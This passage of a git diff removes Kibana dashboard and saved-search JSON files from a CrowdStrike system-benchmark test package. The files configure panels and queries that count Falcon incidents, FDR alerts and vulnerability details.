-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "1261050c-1c7b-426f-968d-78596586554e",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Falcon Incidents",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "1261050c-1c7b-426f-968d-78596586554e",
-                                        "negate": false,
-                                        "params": [
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "data_stream.dataset",
-                                                    "index": "logs-*",
-                                                    "key": "data_stream.dataset",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "crowdstrike.falcon"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "data_stream.dataset": "crowdstrike.falcon"
-                                                    }
-                                                }
-                                            },
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "crowdstrike.event.Category",
-                                                    "index": "logs-*",
-                                                    "key": "crowdstrike.event.Category",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "Incidents"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "crowdstrike.event.Category": "Incidents"
-                                                    }
-                                                }
-                                            }
-                                        ],
-                                        "relation": "AND",
-                                        "type": "combined"
-                                    },
-                                    "query": {}
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "color": "#6092C0",
-                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "layerType": "data",
-                                "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsMetric"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 7,
-                    "i": "82bafaa2-170e-4d47-a01b-84c7af225795",
-                    "w": 7,
-                    "x": 14,
-                    "y": 0
-                },
-                "panelIndex": "82bafaa2-170e-4d47-a01b-84c7af225795",
-                "title": "Falcon Incidents",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e",
-                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": {
-                                                    "dataType": "date",
-                                                    "isBucketed": true,
-                                                    "label": "@timestamp",
-                                                    "operationType": "date_histogram",
-                                                    "params": {
-                                                        "dropPartials": false,
-                                                        "includeEmptyRows": true,
-                                                        "interval": "auto"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "@timestamp"
-                                                },
-                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Activity by Data Stream",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 2
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "data_stream.dataset"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "axisTitlesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "fittingFunction": "None",
-                                "gridlinesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "labelsOrientation": {
-                                    "x": 0,
-                                    "yLeft": 0,
-                                    "yRight": 0
-                                },
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "seriesType": "area",
-                                        "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e",
-                                        "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right"
-                                },
-                                "preferredSeriesType": "area",
-                                "tickLabelsVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 21,
-                    "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
-                    "w": 27,
-                    "x": 21,
-                    "y": 0
-                },
-                "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
-                "title": "Events over Time by Data Stream",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Top FDR Alerts",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.action"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd",
-                                        "negate": false,
-                                        "params": [
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "data_stream.dataset",
-                                                    "index": "logs-*",
-                                                    "key": "data_stream.dataset",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "crowdstrike.fdr"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "data_stream.dataset": "crowdstrike.fdr"
-                                                    }
-                                                }
-                                            },
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "event.kind",
-                                                    "index": "logs-*",
-                                                    "key": "event.kind",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "alert"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "event.kind": "alert"
-                                                    }
-                                                }
-                                            }
-                                        ],
-                                        "relation": "AND",
-                                        "type": "combined"
-                                    },
-                                    "query": {}
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2c916dee-9123-4c38-837b-848078cac0a5"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 14,
-                    "i": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da",
-                    "w": 7,
-                    "x": 7,
-                    "y": 7
-                },
-                "panelIndex": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da",
-                "title": "FDR Alert Types",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Top Falcon Incidents",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.action"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6",
-                                        "negate": false,
-                                        "params": [
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "data_stream.dataset",
-                                                    "index": "logs-*",
-                                                    "key": "data_stream.dataset",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "crowdstrike.falcon"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "data_stream.dataset": "crowdstrike.falcon"
-                                                    }
-                                                }
-                                            },
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "crowdstrike.event.Category",
-                                                    "index": "logs-*",
-                                                    "key": "crowdstrike.event.Category",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "Incidents"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "crowdstrike.event.Category": "Incidents"
-                                                    }
-                                                }
-                                            }
-                                        ],
-                                        "relation": "AND",
-                                        "type": "combined"
-                                    },
-                                    "query": {}
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2c916dee-9123-4c38-837b-848078cac0a5"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 14,
-                    "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
-                    "w": 7,
-                    "x": 14,
-                    "y": 7
-                },
-                "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
-                "title": "Falcon Incident Types",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "description": "",
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 20,
-                    "i": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
-                    "w": 21,
-                    "x": 7,
-                    "y": 21
-                },
-                "panelIndex": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
-                "panelRefName": "panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
-                "title": "[Crowdstrike] Newest FDR Alerts",
-                "type": "search"
-            },
-            {
-                "embeddableConfig": {
-                    "description": "",
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 20,
-                    "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-                    "w": 20,
-                    "x": 28,
-                    "y": 21
-                },
-                "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-                "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-                "title": "[Crowdstrike] Newest Falcon Incidents",
-                "type": "search"
-            }
-        ],
-        "timeRestore": false,
-        "title": "[Crowdstrike] Overview",
-        "version": 2
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T12:27:18.648Z",
-    "id": "crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750",
-    "managed": false,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:a973e58c-53cc-411f-87e5-3cbbd3f0dcf8",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "82bafaa2-170e-4d47-a01b-84c7af225795:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "82bafaa2-170e-4d47-a01b-84c7af225795:1261050c-1c7b-426f-968d-78596586554e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:24d5c96e-43cb-4b7f-bc94-8d85933c1ad6",
-            "type": "index-pattern"
-        },
-        {
-            "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750",
-            "name": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981:panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
-            "type": "search"
-        },
-        {
-            "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750",
-            "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-            "type": "search"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_1424080f-b8da-4816-94dd-904bde41c6de:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_234700e7-0f96-4054-9073-64b3e2d61fa2:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "dashboard",
-    "typeMigrationVersion": "10.2.0",
-    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json
deleted file mode 100644
index e28e095fce..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json
+++ /dev/null
@@ -1,50 +0,0 @@
-{
-    "attributes": {
-        "columns": [
-            "vulnerability.id",
-            "vulnerability.score.base",
-            "crowdstrike.vulnerability.cve.impact_score",
-            "crowdstrike.vulnerability.cve.exploitability_score",
-            "crowdstrike.vulnerability.suppression_info.is_suppressed",
-            "crowdstrike.vulnerability.cve.exprt_rating",
-            "message"
-        ],
-        "description": "",
-        "grid": {
-            "columns": {}
-        },
-        "hideChart": false,
-        "isTextBasedQuery": false,
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [],
-                "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index",
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "sort": [
-            [
-                "@timestamp",
-                "desc"
-            ]
-        ],
-        "timeRestore": false,
-        "title": "Vulnerability Essential Details [Logs Crowdstrike]"
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-08T11:24:15.268Z",
-    "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c",
-    "managed": true,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.index",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "search",
-    "typeMigrationVersion": "10.5.0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json
deleted file mode 100644
index bdafff838c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json
+++ /dev/null
@@ -1,194 +0,0 @@
-{
-    "attributes": {
-        "columns": [
-            "event.action",
-            "observer.address",
-            "host.hostname"
-        ],
-        "description": "",
-        "grid": {
-            "columns": {
-                "event.action": {
-                    "width": 210
-                },
-                "observer.address": {
-                    "width": 197
-                }
-            }
-        },
-        "hideChart": false,
-        "isTextBasedQuery": false,
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": {
-                                "query": "crowdstrike.fdr"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "data_stream.dataset": "crowdstrike.fdr"
-                            }
-                        }
-                    },
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
-                            "negate": false,
-                            "params": [
-                                {
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "event.action",
-                                        "index": "logs-*",
-                                        "key": "event.action",
-                                        "negate": false,
-                                        "type": "exists",
-                                        "value": "exists"
-                                    },
-                                    "query": {
-                                        "exists": {
-                                            "field": "event.action"
-                                        }
-                                    }
-                                },
-                                {
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "event.kind",
-                                        "index": "logs-*",
-                                        "key": "event.kind",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "event.kind": "alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "relation": "AND",
-                            "type": "combined"
-                        },
-                        "query": {}
-                    },
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index",
-                            "negate": false,
-                            "params": [
-                                {
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "host.hostname",
-                                        "index": "logs-*",
-                                        "key": "host.hostname",
-                                        "negate": false,
-                                        "type": "exists",
-                                        "value": "exists"
-                                    },
-                                    "query": {
-                                        "exists": {
-                                            "field": "host.hostname"
-                                        }
-                                    }
-                                },
-                                {
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "observer.address",
-                                        "index": "logs-*",
-                                        "key": "observer.address",
-                                        "negate": false,
-                                        "type": "exists",
-                                        "value": "exists"
-                                    },
-                                    "query": {
-                                        "exists": {
-                                            "field": "observer.address"
-                                        }
-                                    }
-                                }
-                            ],
-                            "relation": "OR",
-                            "type": "combined"
-                        },
-                        "query": {}
-                    }
-                ],
-                "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index",
-                "query": {
-                    "language": "kuery",
-                    "query": "data_stream.dataset :\"crowdstrike.fdr\" "
-                }
-            }
-        },
-        "sort": [
-            [
-                "@timestamp",
-                "desc"
-            ]
-        ],
-        "timeRestore": false,
-        "title": "[Crowdstrike] Newest FDR Alerts",
-        "usesAdHocDataView": false
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T10:24:07.905Z",
-    "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750",
-    "managed": true,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "search",
-    "typeMigrationVersion": "10.5.0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json
deleted file mode 100644
index 890773caa9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json
+++ /dev/null
@@ -1,99 +0,0 @@
-{
-    "attributes": {
-        "columns": [
-            "crowdstrike.event.Category",
-            "event.action",
-            "message"
-        ],
-        "description": "",
-        "grid": {},
-        "hideChart": false,
-        "isTextBasedQuery": false,
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": {
-                                "query": "crowdstrike.falcon"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "data_stream.dataset": "crowdstrike.falcon"
-                            }
-                        }
-                    },
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
-                            "key": "crowdstrike.event.Category",
-                            "negate": false,
-                            "params": {
-                                "query": "Incidents"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "crowdstrike.event.Category": "Incidents"
-                            }
-                        }
-                    }
-                ],
-                "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index",
-                "query": {
-                    "language": "kuery",
-                    "query": "data_stream.dataset : \"crowdstrike.falcon\""
-                }
-            }
-        },
-        "sort": [
-            [
-                "@timestamp",
-                "desc"
-            ]
-        ],
-        "timeRestore": false,
-        "title": "[Crowdstrike] Newest Falcon Incidents",
-        "usesAdHocDataView": false
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T10:24:07.905Z",
-    "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750",
-    "managed": true,
